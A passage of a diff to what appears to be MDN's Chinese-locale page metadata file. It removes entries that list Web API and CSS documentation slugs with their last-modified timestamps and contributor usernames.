"2019-03-23T22:46:53.836Z", - "contributors": [ - "MeCKodo" - ] - }, "Web/API/NamedNodeMap": { "modified": "2019-03-23T23:03:50.009Z", "contributors": [ @@ -18193,12 +16051,6 @@ "udo-china" ] }, - "Web/API/NavigatorGeolocation": { - "modified": "2019-03-23T23:01:18.415Z", - "contributors": [ - "teoli" - ] - }, "Web/API/NavigatorID": { "modified": "2019-03-23T23:10:30.690Z", "contributors": [ @@ -18342,12 +16194,6 @@ "ziyunfei" ] }, - "Web/API/NavigatorPlugins/测试滕盖": { - "modified": "2019-03-23T22:49:37.647Z", - "contributors": [ - "ChenChenJoke" - ] - }, "Web/API/NavigatorStorage": { "modified": "2020-10-15T22:06:22.408Z", "contributors": [ @@ -18440,14 +16286,6 @@ "ziyunfei" ] }, - "Web/API/Node/baseURIObject": { - "modified": "2019-03-24T00:17:51.751Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Node/childNodes": { "modified": "2019-03-24T00:16:20.224Z", "contributors": [ @@ -18531,16 +16369,6 @@ "Xiaobian" ] }, - "Web/API/Node/innerText": { - "modified": "2020-10-15T21:50:36.703Z", - "contributors": [ - "wuyou", - "RainSlide", - "keifergu", - "xgqfrms-GitHub", - "Aolose" - ] - }, "Web/API/Node/insertBefore": { "modified": "2020-10-15T21:22:01.727Z", "contributors": [ @@ -18660,14 +16488,6 @@ "ziyunfei" ] }, - "Web/API/Node/nodePrincipal": { - "modified": "2019-03-23T23:09:34.131Z", - "contributors": [ - "teoli", - "ziyunfei", - "AlexChao" - ] - }, "Web/API/Node/nodeType": { "modified": "2019-10-05T15:43:35.594Z", "contributors": [ @@ -18704,12 +16524,6 @@ "ziyunfei" ] }, - "Web/API/Node/outerText": { - "modified": "2019-01-17T00:59:24.641Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/Node/ownerDocument": { "modified": "2019-03-24T00:17:19.313Z", "contributors": [ @@ -18780,13 +16594,6 @@ "ziyunfei" ] }, - "Web/API/Node/rootNode": { - "modified": "2019-03-18T21:40:49.635Z", - "contributors": [ - "wbamberg", - "LoveofRedMoon" - ] - }, "Web/API/Node/setUserData": { "modified": "2019-03-23T23:09:32.465Z", "contributors": [ @@ -18962,13 +16769,6 @@ "micblo" ] }, - "Web/API/OfflineAudioContext/complete": { - "modified": "2020-10-15T22:17:22.684Z", - "contributors": [ - "ewfian", - "ljx23136138" - ] - }, "Web/API/OfflineAudioContext/length": { "modified": "2019-03-23T22:13:45.696Z", "contributors": [ @@ -19319,12 +17119,6 @@ "dblate" ] }, - "Web/API/Performance/内存": { - "modified": "2020-10-15T22:29:17.983Z", - "contributors": [ - "biqing" - ] - }, "Web/API/PerformanceEntry": { "modified": "2020-10-15T21:53:01.540Z", "contributors": [ @@ -19747,14 +17541,6 @@ "BettyCHEN" ] }, - "Web/API/Push_API/Using_the_Push_API": { - "modified": "2019-03-23T22:26:22.995Z", - "contributors": [ - "vankai", - "xgqfrms-GitHub", - "hibernake" - ] - }, "Web/API/RTCConfiguration": { "modified": "2019-03-23T22:18:59.231Z", "contributors": [ @@ -19962,20 +17748,6 @@ "rmamy" ] }, - "Web/API/RandomSource": { - "modified": "2019-03-23T22:14:07.005Z", - "contributors": [ - "micblo" - ] - }, - "Web/API/RandomSource/getRandomValues": { - "modified": "2020-10-15T21:53:31.704Z", - "contributors": [ - "RainSlide", - "ywjco", - "micblo" - ] - }, "Web/API/Range": { "modified": "2020-10-15T21:14:38.719Z", "contributors": [ @@ -20410,13 +18182,6 @@ "wl237292950" ] }, - "Web/API/Response/克隆": { - "modified": "2019-03-23T22:03:57.353Z", - "contributors": [ - "Ende93", - "xiaoxiaojx" - ] - }, "Web/API/SVGAElement": { "modified": "2019-09-09T08:02:49.792Z", "contributors": [ @@ -20610,13 +18375,6 @@ "Sheppy" ] }, - "Web/API/Screen_Capture_API/使用屏幕捕获API": { - "modified": "2020-09-27T04:18:52.593Z", - "contributors": [ - "Bigsomg", - "hzy" - ] - }, "Web/API/ScriptProcessorNode": { "modified": "2019-03-23T22:12:23.715Z", "contributors": [ @@ -20805,12 +18563,6 @@ "yuhengliang" ] }, - "Web/API/Selection/从Document中删除": { - "modified": "2019-03-23T22:25:17.531Z", - "contributors": [ - "FormatFa" - ] - }, "Web/API/Sensor_APIs": { "modified": "2020-10-15T22:11:34.758Z", "contributors": [ @@ -21002,12 +18754,6 @@ "Katherina-Miao" ] }, - "Web/API/Slotable": { - "modified": "2020-10-15T22:26:24.148Z", - "contributors": [ - "RainSlide" - ] - }, "Web/API/SourceBuffer": { "modified": "2020-10-15T22:20:48.679Z" }, @@ -21101,18 +18847,6 @@ "ThijsK" ] }, - "Web/API/Storage/LocalStorage": { - "modified": "2019-03-23T22:25:01.381Z", - "contributors": [ - "CuriosityLxn", - "jaiJia", - "lightning-zgc", - "kankk", - "tabooc", - "luneice", - "liuzeyafzy" - ] - }, "Web/API/Storage/clear": { "modified": "2019-03-23T22:58:05.467Z", "contributors": [ @@ -21209,18 +18943,6 @@ "jiangseventeen" ] }, - "Web/API/Streams_API/使用可读文件流": { - "modified": "2019-08-08T09:43:09.249Z", - "contributors": [ - "qushuangru" - ] - }, - "Web/API/Streams_API/概念": { - "modified": "2020-10-27T00:49:21.364Z", - "contributors": [ - "xyzingh" - ] - }, "Web/API/StylePropertyMap": { "modified": "2020-10-15T22:12:27.758Z", "contributors": [ @@ -21408,12 +19130,6 @@ "MCCF" ] }, - "Web/API/TextRange/text": { - "modified": "2020-02-26T01:25:35.461Z", - "contributors": [ - "MCCF" - ] - }, "Web/API/TimeRanges": { "modified": "2019-03-18T21:37:59.069Z", "contributors": [ @@ -21729,12 +19445,6 @@ "khalid32" ] }, - "Web/API/UIEvent/视图": { - "modified": "2020-10-15T22:25:09.871Z", - "contributors": [ - "pans9" - ] - }, "Web/API/URL": { "modified": "2020-10-15T21:33:08.666Z", "contributors": [ @@ -21873,14 +19583,6 @@ "gongshun" ] }, - "Web/API/URL/密码": { - "modified": "2020-10-15T22:20:32.740Z", - "contributors": [ - "zhangchen", - "jessieic", - "jinjin" - ] - }, "Web/API/URLSearchParams": { "modified": "2020-10-15T21:31:23.789Z", "contributors": [ @@ -21973,64 +19675,6 @@ "Heptagonnnn" ] }, - "Web/API/URLUtils": { - "modified": "2020-10-15T21:33:08.803Z", - "contributors": [ - "RainSlide", - "AyAmeng", - "teoli" - ] - }, - "Web/API/URLUtils/hash": { - "modified": "2020-02-24T00:59:03.514Z", - "contributors": [ - "ikomom", - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/href": { - "modified": "2019-03-23T22:13:56.960Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/origin": { - "modified": "2019-03-23T22:12:28.154Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/password": { - "modified": "2019-03-23T22:12:38.210Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/pathname": { - "modified": "2019-03-23T22:12:27.883Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/search": { - "modified": "2019-03-23T22:16:26.271Z", - "contributors": [ - "xgqfrms-GitHub", - "kameii" - ] - }, - "Web/API/URLUtils/toString": { - "modified": "2019-03-23T22:13:59.877Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Web/API/URLUtils/username": { - "modified": "2019-03-23T22:12:31.600Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/URL_API": { "modified": "2020-10-15T22:31:18.077Z", "contributors": [ @@ -22795,12 +20439,6 @@ "shenwenkai" ] }, - "Web/API/WebGLRenderingContext/多边形偏移(polygonOffset)": { - "modified": "2020-10-15T22:09:39.645Z", - "contributors": [ - "ZhaoYaoSheng" - ] - }, "Web/API/WebGLSampler": { "modified": "2020-10-15T22:13:50.281Z", "contributors": [ @@ -23144,14 +20782,6 @@ "ziyunfei" ] }, - "Web/API/WebRTC_API/Architecture": { - "modified": "2020-04-24T05:54:00.386Z", - "contributors": [ - "xgqfrms", - "ziyunfei", - "SparrowLiu" - ] - }, "Web/API/WebRTC_API/Connectivity": { "modified": "2020-07-13T03:42:02.521Z", "contributors": [ @@ -23160,12 +20790,6 @@ "Move" ] }, - "Web/API/WebRTC_API/Overview": { - "modified": "2019-03-23T22:45:00.042Z", - "contributors": [ - "Ling.kevin" - ] - }, "Web/API/WebRTC_API/Protocols": { "modified": "2020-04-24T06:06:42.725Z", "contributors": [ @@ -23204,14 +20828,6 @@ "Move" ] }, - "Web/API/WebRTC_API/WebRTC_basics": { - "modified": "2019-09-24T02:45:56.457Z", - "contributors": [ - "lixl", - "huangcheng", - "SparrowLiu" - ] - }, "Web/API/WebRTC_API/adapter.js": { "modified": "2020-04-17T09:34:28.178Z", "contributors": [ @@ -23356,13 +20972,6 @@ "HIKALU-Z" ] }, - "Web/API/WebSocket/二进制类型": { - "modified": "2020-10-15T22:11:38.195Z", - "contributors": [ - "snowwolfjay", - "jaredhan418" - ] - }, "Web/API/WebSockets_API": { "modified": "2019-03-23T22:06:25.324Z", "contributors": [ @@ -23372,12 +20981,6 @@ "luojia" ] }, - "Web/API/WebSockets_API/WebSocket_Server_Vb.NET": { - "modified": "2019-03-18T21:29:02.340Z", - "contributors": [ - "xiaoyixiang" - ] - }, "Web/API/WebSockets_API/Writing_WebSocket_client_applications": { "modified": "2019-03-23T22:05:13.416Z", "contributors": [ @@ -23547,12 +21150,6 @@ "smilewalker" ] }, - "Web/API/Web_Audio_API/最佳实践": { - "modified": "2020-04-13T06:14:13.545Z", - "contributors": [ - "KotoriK" - ] - }, "Web/API/Web_Authentication_API": { "modified": "2020-03-16T06:43:10.491Z", "contributors": [ @@ -23723,19 +21320,6 @@ "Langdom" ] }, - "Web/API/Window/URL": { - "modified": "2019-03-23T22:22:37.359Z", - "contributors": [ - "xgqfrms-GitHub", - "Boring" - ] - }, - "Web/API/Window/Window.blur()": { - "modified": "2019-03-23T22:13:16.814Z", - "contributors": [ - "Toxni" - ] - }, "Web/API/Window/alert": { "modified": "2019-03-30T09:23:53.924Z", "contributors": [ @@ -23792,17 +21376,6 @@ "movinghorse" ] }, - "Web/API/Window/clearInterval": { - "modified": "2020-10-15T21:21:33.193Z", - "contributors": [ - "RainCruise", - "RainSlide", - "luojia", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/close": { "modified": "2020-10-15T21:06:33.538Z", "contributors": [ @@ -24006,12 +21579,6 @@ "libin2866" ] }, - "Web/API/Window/getAttention": { - "modified": "2020-10-15T22:21:28.407Z", - "contributors": [ - "luoxue-victor" - ] - }, "Web/API/Window/getComputedStyle": { "modified": "2020-10-15T21:29:18.864Z", "contributors": [ @@ -24251,18 +21818,6 @@ "xgqfrms-GitHub" ] }, - "Web/API/Window/onbeforeunload": { - "modified": "2019-05-09T03:05:32.709Z", - "contributors": [ - "johnlin0207", - "Etoile984816138", - "1Cr18Ni9", - "teoli", - "khalid32", - "ziyunfei", - "WenbingZheng" - ] - }, "Web/API/Window/ondevicelight": { "modified": "2019-03-18T21:46:43.834Z", "contributors": [ @@ -24312,18 +21867,6 @@ "AWhiteMouse" ] }, - "Web/API/Window/onhashchange": { - "modified": "2020-10-15T21:06:52.013Z", - "contributors": [ - "Arnie97", - "xgqfrms-GitHub", - "Ende93", - "vuji", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/online_event": { "modified": "2019-04-18T11:22:47.220Z", "contributors": [ @@ -24333,14 +21876,6 @@ "getfile" ] }, - "Web/API/Window/onmouseup": { - "modified": "2019-03-24T00:16:16.641Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Window/onmozbeforepaint": { "modified": "2019-03-18T21:35:53.123Z", "contributors": [ @@ -24353,38 +21888,6 @@ "JARROWXU" ] }, - "Web/API/Window/onpopstate": { - "modified": "2020-10-15T21:07:15.381Z", - "contributors": [ - "SUCHMOKUO", - "wuyou", - "ReedSun", - "wenshin", - "xiaomingming", - "vose2008", - "teoli", - "Hasilt", - "ziyunfei" - ] - }, - "Web/API/Window/onscroll": { - "modified": "2019-03-24T00:15:58.211Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, - "Web/API/Window/onunload": { - "modified": "2020-10-23T06:31:44.836Z", - "contributors": [ - "liguorain", - "lon", - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, "Web/API/Window/onuserproximity": { "modified": "2020-10-15T22:25:33.168Z", "contributors": [ @@ -24638,12 +22141,6 @@ "zhangqiong" ] }, - "Web/API/Window/restore": { - "modified": "2020-10-15T22:06:41.722Z", - "contributors": [ - "Bayes" - ] - }, "Web/API/Window/screen": { "modified": "2019-03-18T21:16:53.760Z", "contributors": [ @@ -24798,62 +22295,6 @@ "ziyunfei" ] }, - "Web/API/Window/setInterval": { - "modified": "2020-11-25T18:16:55.949Z", - "contributors": [ - "RayTang-hub", - "cellinlab", - "Jiangmenghao", - "TXYjing", - "Soul", - "fengbin", - "RainSlide", - "brandonhyc", - "xgqfrms-GitHub", - "shery", - "xgqfrms", - "teoli", - "khalid32", - "ziyunfei", - "sonicview" - ] - }, - "Web/API/Window/setTimeout": { - "modified": "2020-10-15T21:19:52.746Z", - "contributors": [ - "SnowGojira", - "iyow", - "johnao", - "chrisdavidmills", - "csga31971", - "baijingfeng", - "Reci-z", - "horrylala", - "Adashuai5", - "LilyWakana", - "Mars687", - "pinpinye", - "Lby876176278", - "Chancefeng", - "fscholz", - "xiazhe", - "Frorice", - "yhtml5", - "righttoe", - "Toxni", - "piemonSong", - "xgqfrms-GitHub", - "heke2929", - "SnowOnion", - "Chimen", - "hbkdsm", - "paddingme", - "teoli", - "khalid32", - "Meteormatt", - "ziyunfei" - ] - }, "Web/API/Window/showModalDialog": { "modified": "2019-07-21T23:38:59.262Z", "contributors": [ @@ -24925,46 +22366,6 @@ "lovue" ] }, - "Web/API/WindowBase64/Base64_encoding_and_decoding": { - "modified": "2020-09-03T07:22:36.242Z", - "contributors": [ - "WangXBruc", - "waitingsong", - "RainSlide", - "luojia", - "fghpdf", - "ahcheqiu" - ] - }, - "Web/API/WindowBase64/atob": { - "modified": "2020-10-15T21:07:00.713Z", - "contributors": [ - "RainSlide", - "zhangchen", - "nkliyc", - "dingyanhe", - "xgqfrms-GitHub", - "ziyunfei", - "happyWang", - "teoli", - "khalid32" - ] - }, - "Web/API/WindowBase64/btoa": { - "modified": "2020-10-15T21:06:58.236Z", - "contributors": [ - "RainSlide", - "zhangchen", - "RoXoM", - "Carrotzpc", - "dingyanhe", - "xgqfrms-GitHub", - "ziyunfei", - "teoli", - "khalid32", - "cuixiping" - ] - }, "Web/API/WindowClient": { "modified": "2019-03-23T22:11:45.641Z", "contributors": [ @@ -25092,15 +22493,6 @@ "RainSlide" ] }, - "Web/API/WindowTimers/clearTimeout": { - "modified": "2020-06-09T04:49:33.480Z", - "contributors": [ - "Humilitas", - "zhangchen", - "luojia", - "paddingme" - ] - }, "Web/API/Worker": { "modified": "2020-10-15T21:22:11.206Z", "contributors": [ @@ -25630,40 +23022,6 @@ "kuugua" ] }, - "Web/API/event.altKey": { - "modified": "2019-03-24T00:16:10.184Z", - "contributors": [ - "ziyunfei", - "teoli", - "jsx" - ] - }, - "Web/API/event.button": { - "modified": "2019-03-24T00:18:20.119Z", - "contributors": [ - "ziyunfei", - "teoli", - "AshfaqHossain" - ] - }, - "Web/API/event.relatedTarget": { - "modified": "2019-03-23T23:09:12.340Z", - "contributors": [ - "wbamberg", - "zhangqiong", - "ziyunfei", - "teoli", - "Darrel.Hsu" - ] - }, - "Web/API/event.shiftKey": { - "modified": "2019-03-24T00:16:22.591Z", - "contributors": [ - "ziyunfei", - "teoli", - "khalid32" - ] - }, "Web/API/notification": { "modified": "2020-09-28T00:03:47.900Z", "contributors": [ @@ -25685,16 +23043,6 @@ "fengwuxin" ] }, - "Web/API/notification/Using_Web_Notifications": { - "modified": "2020-03-18T06:57:06.393Z", - "contributors": [ - "wangyb1026", - "Yifang-Tongxing", - "845056166", - "xgqfrms-GitHub", - "Hawkeyes_Wind" - ] - }, "Web/API/notification/actions": { "modified": "2019-03-23T22:09:42.603Z", "contributors": [ @@ -25797,43 +23145,6 @@ "BSPR0002" ] }, - "Web/API/notification/sound": { - "modified": "2019-03-18T21:17:44.470Z", - "contributors": [ - "ZZES_REN" - ] - }, - "Web/API/指数": { - "modified": "2020-09-07T03:42:22.980Z", - "contributors": [ - "SphinxKnight", - "hl7514576" - ] - }, - "Web/API/支付_请求_接口": { - "modified": "2020-10-15T22:21:11.974Z", - "contributors": [ - "CapriceLi" - ] - }, - "Web/API/支付_请求_接口/Concepts": { - "modified": "2019-07-19T05:54:54.946Z", - "contributors": [ - "CapriceLi" - ] - }, - "Web/API/语音识别": { - "modified": "2020-10-15T22:15:39.263Z", - "contributors": [ - "burt1025lzz" - ] - }, - "Web/API/语音识别/result_event": { - "modified": "2020-10-15T22:28:01.971Z", - "contributors": [ - "coock1996" - ] - }, "Web/Accessibility": { "modified": "2020-08-04T10:11:09.882Z", "contributors": [ @@ -25896,19 +23207,6 @@ "ldwformat" ] }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role": { - "modified": "2019-03-23T22:05:01.811Z", - "contributors": [ - "TiaossuP" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性": { - "modified": "2019-10-31T22:25:58.797Z", - "contributors": [ - "YoMiao", - "civerzhang" - ] - }, "Web/Accessibility/ARIA/forms": { "modified": "2019-03-23T22:16:33.505Z", "contributors": [ @@ -25941,12 +23239,6 @@ "hbwhzk" ] }, - "Web/Accessibility/Web_Development": { - "modified": "2019-03-23T22:29:25.203Z", - "contributors": [ - "qianzhangcheng" - ] - }, "Web/CSS": { "modified": "2020-12-02T23:03:48.358Z", "contributors": [ @@ -26122,13 +23414,6 @@ "LoveofRedMoon" ] }, - "Web/CSS/:-moz-placeholder": { - "modified": "2019-03-23T23:21:19.033Z", - "contributors": [ - "teoli", - "bowen-shi" - ] - }, "Web/CSS/:-moz-window-inactive": { "modified": "2019-03-18T21:33:22.659Z", "contributors": [ @@ -26137,14 +23422,6 @@ "apple1juice" ] }, - "Web/CSS/::-moz-placeholder": { - "modified": "2019-03-23T23:21:18.757Z", - "contributors": [ - "FrontENG", - "teoli", - "bowen-shi" - ] - }, "Web/CSS/::-moz-progress-bar": { "modified": "2020-07-10T07:07:20.466Z", "contributors": [ @@ -26332,15 +23609,6 @@ "psychebb" ] }, - "Web/CSS/:any": { - "modified": "2019-03-23T22:23:18.210Z", - "contributors": [ - "Minya_Chan", - "LinYunweb", - "shuihuo", - "tigercao" - ] - }, "Web/CSS/:any-link": { "modified": "2020-10-15T21:56:20.733Z", "contributors": [ @@ -26348,13 +23616,6 @@ "anjia" ] }, - "Web/CSS/:blank空白伪类": { - "modified": "2020-10-15T22:21:57.411Z", - "contributors": [ - "RainSlide", - "karma2014" - ] - }, "Web/CSS/:checked": { "modified": "2020-10-15T21:42:35.145Z", "contributors": [ @@ -27028,41 +24289,6 @@ "cvrebert" ] }, - "Web/CSS/@viewport/height": { - "modified": "2020-11-27T23:49:12.467Z", - "contributors": [ - "xusy" - ] - }, - "Web/CSS/@viewport/orientation": { - "modified": "2019-03-23T22:28:00.871Z", - "contributors": [ - "Minya_Chan" - ] - }, - "Web/CSS/@viewport/viewport-fit": { - "modified": "2020-10-15T22:19:15.758Z", - "contributors": [ - "PYGC", - "gzbitzxx", - "zhangchen", - "x1aodingdang" - ] - }, - "Web/CSS/@viewport/width": { - "modified": "2019-10-22T01:59:54.524Z", - "contributors": [ - "Zhang-Junzhi", - "xpromise" - ] - }, - "Web/CSS/@viewport/zoom": { - "modified": "2020-10-15T21:50:31.298Z", - "contributors": [ - "zhangchen", - "azhi09" - ] - }, "Web/CSS/Adjacent_sibling_combinator": { "modified": "2020-10-15T21:22:13.249Z", "contributors": [ @@ -27077,22 +24303,6 @@ "alimon" ] }, - "Web/CSS/All_About_The_Containing_Block": { - "modified": "2020-10-09T00:31:23.855Z", - "contributors": [ - "Chellyyy", - "Young-Spark", - "laizenan", - "alattalatta", - "thxiami", - "studyMakesMeHappy", - "peppermintCode", - "tolerious", - "hehex9", - "littlelake", - "ucev" - ] - }, "Web/CSS/Alternative_style_sheets": { "modified": "2020-10-15T22:30:11.278Z", "contributors": [ @@ -27133,12 +24343,6 @@ "Pada" ] }, - "Web/CSS/CSSOM_View/坐标系": { - "modified": "2019-03-18T21:28:19.895Z", - "contributors": [ - "1Cr18Ni9" - ] - }, "Web/CSS/CSS_Animations": { "modified": "2020-10-15T21:40:13.943Z", "contributors": [ @@ -27176,13 +24380,6 @@ "hutuxu" ] }, - "Web/CSS/CSS_Background_and_Borders": { - "modified": "2019-03-23T22:45:29.966Z", - "contributors": [ - "FrontENG", - "teoli" - ] - }, "Web/CSS/CSS_Background_and_Borders/Border-image_generator": { "modified": "2019-03-18T21:15:13.389Z", "contributors": [ @@ -27190,22 +24387,6 @@ "yellowstar1992" ] }, - "Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds": { - "modified": "2019-03-23T23:28:25.343Z", - "contributors": [ - "imwangpan", - "teoli", - "Nightingale" - ] - }, - "Web/CSS/CSS_Background_and_Borders/圆角边框发生器": { - "modified": "2019-03-23T22:42:48.406Z", - "contributors": [ - "FrontENG", - "beyoursun", - "regiondavid" - ] - }, "Web/CSS/CSS_Backgrounds_and_Borders": { "modified": "2019-03-18T21:45:20.317Z", "contributors": [ @@ -27214,12 +24395,6 @@ "Sheppy" ] }, - "Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images": { - "modified": "2019-03-18T21:38:07.175Z", - "contributors": [ - "Aaron_Zhung" - ] - }, "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { "modified": "2019-03-18T21:45:25.619Z", "contributors": [ @@ -27255,14 +24430,6 @@ "ziyunfei" ] }, - "Web/CSS/CSS_Box_Model/Box-shadow_generator": { - "modified": "2019-03-18T20:43:42.671Z", - "contributors": [ - "BychekRU", - "TiaossuP", - "charlie" - ] - }, "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": { "modified": "2019-10-01T21:50:12.174Z", "contributors": [ @@ -27315,13 +24482,6 @@ "xusy" ] }, - "Web/CSS/CSS_Colors": { - "modified": "2019-03-23T22:09:37.851Z", - "contributors": [ - "GHLandy", - "Krenair" - ] - }, "Web/CSS/CSS_Colors/Color_picker_tool": { "modified": "2019-09-28T22:09:24.320Z", "contributors": [ @@ -27438,17 +24598,6 @@ "helloyong" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持": { - "modified": "2020-02-11T09:41:01.217Z", - "contributors": [ - "knightyun", - "fanjianfeng1010", - "EndlessSong", - "minvedacat", - "Ran_Lyu", - "xieminjie" - ] - }, "Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items": { "modified": "2020-10-21T03:55:55.262Z", "contributors": [ @@ -27456,17 +24605,6 @@ "qwertty" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Mixins": { - "modified": "2019-03-23T22:33:55.727Z", - "contributors": [ - "chrisdavidmills", - "SmilyLiang", - "SolitudeRA", - "zhicongyang", - "xgqfrms", - "jiahui" - ] - }, "Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items": { "modified": "2020-10-15T23:39:20.262Z", "contributors": [ @@ -27475,59 +24613,6 @@ "youcanping" ] }, - "Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes": { - "modified": "2019-03-23T23:31:49.899Z", - "contributors": [ - "hanliuxin5", - "xgqfrms-GitHub", - "mogewcy", - "fedwatch", - "dongyu_-_", - "zrj570543941", - "TiaossuP", - "xgqfrms", - "WynnChen", - "jokeviner", - "fscholz", - "Huxpro", - "ziyunfei", - "yan", - "nighca", - "Kasuganosora", - "yisi", - "Ribery", - "TimZhao", - "Nightingale" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications": { - "modified": "2019-03-23T22:27:26.278Z", - "contributors": [ - "Anshiii", - "SphinxKnight", - "lon", - "fscholz", - "lazurey" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox": { - "modified": "2020-06-21T23:26:55.230Z", - "contributors": [ - "cell", - "mileyho", - "xzhyj93", - "SkyeYoung", - "devindwan", - "xieminjie" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系": { - "modified": "2020-07-03T00:45:14.544Z", - "contributors": [ - "jin_wang", - "Wulakaka" - ] - }, "Web/CSS/CSS_Flow_Layout": { "modified": "2019-03-18T20:48:13.355Z", "contributors": [ @@ -27565,15 +24650,6 @@ "xunzhonglee" ] }, - "Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外": { - "modified": "2019-08-26T05:12:18.778Z", - "contributors": [ - "xuduotom", - "wython", - "kernellmd", - "feaswcy" - ] - }, "Web/CSS/CSS_Fonts": { "modified": "2019-03-23T22:13:50.386Z", "contributors": [ @@ -27660,12 +24736,6 @@ "comehope" ] }, - "Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes": { - "modified": "2019-03-18T21:44:18.420Z", - "contributors": [ - "comehope" - ] - }, "Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility": { "modified": "2019-09-04T22:47:22.673Z", "contributors": [ @@ -27715,14 +24785,6 @@ "ucev" ] }, - "Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局": { - "modified": "2019-09-04T22:46:41.081Z", - "contributors": [ - "zhangchen", - "Juvon", - "SphinxKnight" - ] - }, "Web/CSS/CSS_Logical_Properties": { "modified": "2020-10-12T22:45:52.532Z", "contributors": [ @@ -27730,18 +24792,6 @@ "Ende93" ] }, - "Web/CSS/CSS_Logical_Properties/Basic_conceptsjie": { - "modified": "2019-03-28T00:11:41.934Z", - "contributors": [ - "Aamperor" - ] - }, - "Web/CSS/CSS_Logical_Properties/浮动和定位": { - "modified": "2020-12-09T23:54:16.957Z", - "contributors": [ - "bernie-ning" - ] - }, "Web/CSS/CSS_Masking": { "modified": "2019-03-18T21:28:40.615Z", "contributors": [ @@ -27789,12 +24839,6 @@ "wy-ei" ] }, - "Web/CSS/CSS_Selectors/Comparison_with_XPath": { - "modified": "2019-03-18T21:23:06.866Z", - "contributors": [ - "zhanghengxin" - ] - }, "Web/CSS/CSS_Shapes": { "modified": "2019-07-30T22:05:51.456Z", "contributors": [ @@ -27914,12 +24958,6 @@ "feiwen8772" ] }, - "Web/CSS/CSS_分片": { - "modified": "2019-12-03T13:06:14.108Z", - "contributors": [ - "pans9" - ] - }, "Web/CSS/Cascade": { "modified": "2020-04-12T01:15:48.713Z", "contributors": [ @@ -27963,20 +25001,6 @@ "ziyunfei" ] }, - "Web/CSS/Common_CSS_Questions": { - "modified": "2020-07-16T22:25:46.153Z", - "contributors": [ - "Robinx", - "Jack-Q", - "ChenDong", - "DavidGuan", - "zd9027", - "xuxun", - "teoli", - "ziyunfei", - "xcffl" - ] - }, "Web/CSS/Descendant_combinator": { "modified": "2020-11-23T07:09:12.864Z", "contributors": [ @@ -28055,18 +25079,6 @@ "HareInWeed" ] }, - "Web/CSS/Layout_cookbook/卡片": { - "modified": "2020-10-15T22:28:29.154Z", - "contributors": [ - "fanyuedong" - ] - }, - "Web/CSS/Layout_cookbook/媒体对象": { - "modified": "2020-10-15T22:18:51.901Z", - "contributors": [ - "wre232114" - ] - }, "Web/CSS/Layout_mode": { "modified": "2019-03-23T22:27:53.945Z", "contributors": [ @@ -29441,14 +26453,6 @@ "teoli" ] }, - "Web/CSS/cursor/url": { - "modified": "2019-03-23T23:32:59.999Z", - "contributors": [ - "xgqfrms-GitHub", - "teoli", - "ziyunfei" - ] - }, "Web/CSS/custom-ident": { "modified": "2020-02-13T02:01:31.997Z", "contributors": [ @@ -31287,23 +28291,6 @@ "jason-guo" ] }, - "Web/CSS/timing-function": { - "modified": "2020-10-15T21:21:10.131Z", - "contributors": [ - "tzgong", - "WangYiCong", - "woshixixi", - "wqq1992324", - "zhangchen", - "Huahua-Chen", - "Sebastianz", - "jiahui", - "fscholz", - "cungen", - "teoli", - "ziyunfei" - ] - }, "Web/CSS/top": { "modified": "2020-10-15T21:37:12.500Z", "contributors": [ @@ -31626,12 +28613,6 @@ "LiNengNeng" ] }, - "Web/CSS/url": { - "modified": "2019-03-23T22:25:44.664Z", - "contributors": [ - "zhyupe" - ] - }, "Web/CSS/used_value": { "modified": "2019-03-23T23:29:45.690Z", "contributors": [ @@ -31768,20 +28749,6 @@ "sunorry" ] }, - "Web/CSS/word-wrap": { - "modified": "2020-10-15T21:32:14.809Z", - "contributors": [ - "litmonw", - "dlnb526", - "WangWenZhang", - "pengwenbin7", - "xgqfrms", - "SAWSAWSAW", - "fscholz", - "Sebastianz", - "paddingme" - ] - }, "Web/CSS/writing-mode": { "modified": "2020-10-15T22:00:00.250Z", "contributors": [ @@ -31812,38 +28779,6 @@ "TimZhao" ] }, - "Web/CSS/偏移": { - "modified": "2020-10-15T22:07:46.289Z", - "contributors": [ - "congyuandong", - "yichengxian" - ] - }, - "Web/CSS/媒体查询": { - "modified": "2020-10-15T21:56:18.732Z", - "contributors": [ - "RainSlide", - "zjffun", - "Charley-Hsu" - ] - }, - "Web/CSS/文本装饰线厚度(粗细)": { - "modified": "2020-10-15T22:25:42.153Z", - "contributors": [ - "tanapok", - "Zshining" - ] - }, - "Web/CSS/网格-模板-列": { - 